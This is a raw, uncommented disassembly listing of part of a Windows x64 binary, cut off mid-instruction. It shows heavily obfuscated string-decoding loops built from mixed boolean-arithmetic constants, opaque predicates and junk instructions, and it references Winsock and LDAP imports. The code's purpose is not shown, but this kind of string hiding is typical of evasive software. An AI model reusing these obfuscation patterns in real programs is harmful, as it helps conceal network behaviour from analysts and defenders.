movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
jmp 0x1400807f9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400803f1
movabs rcx, 0x1117a844b362edbe
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
jmp 0x1400807be
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080423
movabs rcx, 0x1275b5bad637a49a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
dec rdi
inc rdi
jmp 0x14007fbc2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140080183
movabs rcx, 0x1324bc75e7a20008
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
inc r9
dec rdi
inc rdi
jmp 0x14007fbc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080489
movabs rdx, 0x15895404a4964009
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3f
jmp 0x140080748
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400804bb
movabs rcx, 0x16e7617ac76af6e5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x43
dec rdi
inc rdi
jmp 0x14007fbc2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400804f7
movabs rcx, 0x18f475abfbaa092f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x49
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007fbc2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080126
movabs rcx, 0x1b0189dd2fe91b79
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4f
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080575
movabs rcx, 0x1cb71ab0db73000c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
inc rax
cmp r8, rax
jne 0x1400805a1
movabs rdx, 0x1e152826fe47b6e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x1400807f9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400805cd
movabs rcx, 0x1f73359d211c6dc4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x1400807be
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400805f9
movabs rcx, 0x20223c583286c932
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x140080799
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400800d6
movabs rcx, 0x20d1431343f124a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rdx, 0x238d5dff899a9258
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xcf8]
sub r11b, al
sub r11b, 0x68
add r11b, bl
add r11b, dl
jmp 0x140080799
movabs rdx, 0x243c64ba9b04edc6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xcf8]
sub r11b, 0x6a
jmp 0x1400807f9
movabs rcx, 0xb47ef0e9f5ae497
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x21
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007fbc2
movabs rcx, 0xa98e8538df08929
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1f
jmp 0x1400807be
movabs rcx, 0x93adadd6b1bd24d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1b
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x7dccd6748471b71
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x17
jmp 0x14008074b
movabs rdx, 0x67ebff125726495
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x13
add r11b, dl
movabs rcx, 0x2335daa200e564a1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x67
add cl, bl
mov byte [rbp + rdi + 0xcf8], cl
inc r9
dec rdi
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x471abbff133524b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xd
movabs rcx, 0x23e4e15d124fc00f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x69
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0xcf8], bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007fbc2
mov rbx, r10
movabs rdx, 0x264978ebcf44001
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 7
add r11b, dl
movabs rdx, 0x2493e81823ba1b7d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xcf8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140080856
movabs rdx, 0x1b590d3ab89e493
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 5
add r11b, dl
movzx ebx, r10b
movabs rcx, 0x24eb6b75ac6f4934
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x6c
add cl, bl
mov byte [rbp + rdi + 0xcf8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x1068a189a1f8925
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 3
movzx eax, byte [rbp + rdi + 0xcf8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007fbc2
movabs rcx, 0x2d773f980620c013
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x7b
jmp 0x14007fbbe
movabs rcx, 0x2cc838dcf4b664a5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x7d
jmp 0x14007fbab
lea rcx, [rbp + 0x17ac3ec]
jmp 0x140080932
lea rcx, [rbp + 0x12ff1a3]
jmp 0x140080932
lea rcx, [rbp + 0xcf8]
mov dword [rbp + 0xfc0], 0x3f800000
mov dword [rbp + 0xfc8], 0x3dcccccd
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfc8]
mov r8, r14
mov edx, 8
call fcn.140037e30
mov byte [rbp + 0xd20], Ordinal_41
mov byte [rbp + 0xd21], 0x68
mov byte [rbp + 0xd22], Ordinal_200
xorps xmm0, xmm0
movups xmmword [rbp + 0xd23], xmm0
movups xmmword [rbp + 0xd33], xmm0
movabs rsi, 0xbfb128cfd87c1f20
movabs r13, 0x6aa6e98ffe1e4aa0
movabs r14, 0xe8a0d12efa7284e0
movabs r15, 0x1352fe0efe35efa0
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008169e
movzx ebx, byte [rbp + rdi + 0xd20]
mov r10, rbx
cmp r8, rdi
ja 0x140081692
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140080a23
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x60
jmp 0x140080a50
je 0x140081605
inc rax
cmp r8, rax
je 0x14008156c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081536
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400814e4
nop
cmp r9, rdi
ja 0x140081686
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140080a81
lea rdx, [rdi + rsi]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080ac0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400814bf
inc rax
cmp r8, rax
je 0x140081496
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081463
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081440
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400810e6
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400810c3
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008109b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008106d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008104a
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140081027
lea rcx, [r9 + 0x80]
cmp r8, rcx
je 0x140080ff8
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140080fd0
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140080fad
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140080f79
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140080ad0
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140081663
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14008163b
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140080caa
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x140080c8c
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x140080c72
lea rcx, [r9 + 0x40]
cmp r8, rcx
jb 0x140080f13
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140080eb1
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140080e64
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140080e36
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140080ad0
mov r8, rcx
lea r9, [rcx + 0xa]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140080e06
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140080dde
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x140080dba
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140080d87
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140080d68
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140080d46
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140080d1d
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140080cf1
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x140080cd2
lea r8, [r9 + 1]
lea r9, [r8 + 6]
jmp 0x140080ad0
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140080ac0
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x140080a50
movabs rdx, 0x3e052aef01f95a60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400809f4
movabs rcx, 0xfd89467ec3e0f900
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140081502
movabs rcx, 0x283b735ec7a463c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400809e2
movabs rcx, 0x52eda03ecb67ce80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x1400809e2
movabs rdx, 0x7d9fcd1ecf2b3940
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400813e0
movabs rcx, 0xa851f9fed2eea400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140081554
movabs rcx, 0xd30426ded6b20ec0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400809e2
movabs rdx, 0xfdb653beda757980
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x140081590
movabs rdx, 0x2868809ede38e440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400815c1
movabs rcx, 0x531aad7ee1fc4f00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, byte [rbp + rdi + 0xd20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400809e2
movabs rcx, 0x3dd81daeeb64d9e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
mov byte [rbp + rdi + 0xd20], r11b
inc rdi
jmp 0x1400809e2
movabs rdx, 0x688a4a8eef2844a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
cmp r9, 0x2a
jb 0x140080e54
movabs rcx, 0x7e810f5f4011bbc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x80]
jmp 0x140081502
movabs rdx, 0x933c776ef2ebaf60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 3
jae 0x1400813c0
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400812bd
movabs rdx, 0x2976d01f65b3e740
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080e86
movabs rdx, 0xbdeea44ef6af1a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 6
je 0x140081410
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x14008121f
movabs rdx, 0x69c5a74f8d37c820
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140080ed4
movabs rcx, 0x7e26f4df12e8bac0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0xd20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400809e2
movabs rcx, 0xa8d921bf16ac2580
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x1400815c1
movabs rdx, 0xd38b4e9f1a6f9040
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140081593
movabs rcx, 0xfe3d7b7f1e32fb00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400809e2
movabs rcx, 0x28efa85f21f665c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140081554
movabs rcx, 0x53a1d53f25b9d080
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x1400813e6
movabs rdx, 0x7e54021f297d3b40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400809e2
movabs rcx, 0xa9062eff2d40a600
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x1400809e2
movabs rcx, 0xd3b85bdf310410c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140081502
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14008110d
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140080f36
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008114f
movabs rdx, 0x7f62519fb0f83e40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400809e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081187
movabs rcx, 0xff4bcaffa5adfe00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400809e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400811b8
movabs rdx, 0xd4999e1fa1ea9340
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140081554
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400811ea
movabs rcx, 0x7f35445f9a63bdc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400809e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080f36
movabs rcx, 0x5483177f96a05300
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x1400809e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008123b
movabs rdx, 0x3f137a6f89745d60
jmp 0x1400814c9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140081257
movabs rcx, 0xe9af20af81ed87e0
jmp 0x1400814a0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140081288
movabs rdx, 0x944ac6ef7a66b260
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081554
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080ed4
movabs rdx, 0x1434404f6f1c7220
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400815c1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400812fa
movabs rcx, 0xfec4a33f61f07c80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0xd20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400809e2
inc rax
cmp r8, rax
jne 0x140081329
movabs rdx, 0xd412765f5e2d11c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x1400815c1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081352
movabs rdx, 0xa960497f5a69a700
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x140081590
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140081393
movabs rdx, 0x7eae1c9f56a63c40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400809e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080e86
movabs rcx, 0x2949c2df4f1f66c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400813e6
movabs rdx, 0x53cee27f3c4e5100
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xd20]
sub r11b, al
add r11b, bl
add r11b, dl
movabs rcx, 0xbe75cc0f3a6c9ba0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x60
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0xd20], bl
jmp 0x140081554
movabs rdx, 0x291cb59f388ae640
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xd20]
add r11b, dl
add r11b, bl
jmp 0x140081593
movabs rcx, 0x94d1eeafbe2433e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140081593
movabs rcx, 0xbf841b8fc1e79ea0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400809e2
movabs rcx, 0x3f9aa22fcd31dee0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x1400809e2
movabs rdx, 0x94fefbefd4b8b460
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140081502
movabs rcx, 0xea6355afdc3f89e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movabs rdx, 0xe927f8ef3e300660
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xd20], cl
inc r9
dec rdi
inc rdi
jmp 0x1400809e2
movabs rcx, 0x952c092feb4d34e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400809e2
mov rbx, r10
movabs rdx, 0xea9062eff2d40a60
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0x93c39f2f36a930e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x20
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xd20], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xfe6a88bf34c77b80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x80
add cl, bl
mov byte [rbp + rdi + 0xd20], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400809e2
movabs rcx, 0x3ff4bcaffa5adfe0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0xd20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400809e2
movabs rdx, 0x68b757cf05bcc520
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400809e0
movabs rcx, 0x936984af09802fe0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400809d0
lea rsi, [rbp + 0x15a30a0]
jmp 0x1400816a5
lea rsi, [rbp + 0xf87b40]
jmp 0x1400816a5
lea rsi, [rbp + 0xd20]
lea rdx, [0x14022a060]
lea rcx, [rbp + 0x5e8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x28]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0x898], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x899], WSASetLastError
mov byte [rbp + 0x89a], WSASetLastError
mov byte [rbp + 0x89b], 0x76
mov byte [rbp + 0x89c], WSAGetLastError
mov byte [rbp + 0x89d], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x89e], reloc.WS2_32.dll_socket
mov byte [rbp + 0x89f], 0x7d
mov byte [rbp + 0x8a0], WSACleanup
mov byte [rbp + 0x8a1], 0x66
mov byte [rbp + 0x8a2], 0x7e
mov byte [rbp + 0x8a3], 0x76
mov byte [rbp + 0x8a4], 0x7d
mov byte [rbp + 0x8a5], 0x75
mov byte [rbp + 0x8a6], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8a7], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8a8], xmm0
mov word [rbp + 0x8b8], ax
mov byte [rbp + 0x8ba], al
movabs r14, 0x36b0ecd793bfab5
movabs r15, 0xc14ab7500a1319eb
movabs r13, 0x6ba20b3c786ee9a9
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
movabs rcx, 0xaad45609c8d21821
cmp rbx, 0x23
jae 0x1400826d3
movzx r11d, byte [rbp + rbx + 0x898]
mov rdx, r11
cmp r8, rbx
ja 0x1400826c7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140081801
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x19
jmp 0x140081850
je 0x14008263d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400825a2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008256f
lea rax, [r9 + 2]
cmp r8, rax
je 0x140082537
lea rax, [r9 + 6]
cmp r8, rax
je 0x140082509
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400824b8
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400826bb
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140081882
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xd
add r10b, dl
jmp 0x1400818c3
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140082490
lea rax, [r9 + 3]
cmp r8, rax
je 0x140082432
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400823fa
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400823c5
lea rax, [r9 + 4]
cmp r8, rax
je 0x140082390
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140081f88
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140081f60
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140081f32
lea rax, [r9 + 3]
cmp r8, rax
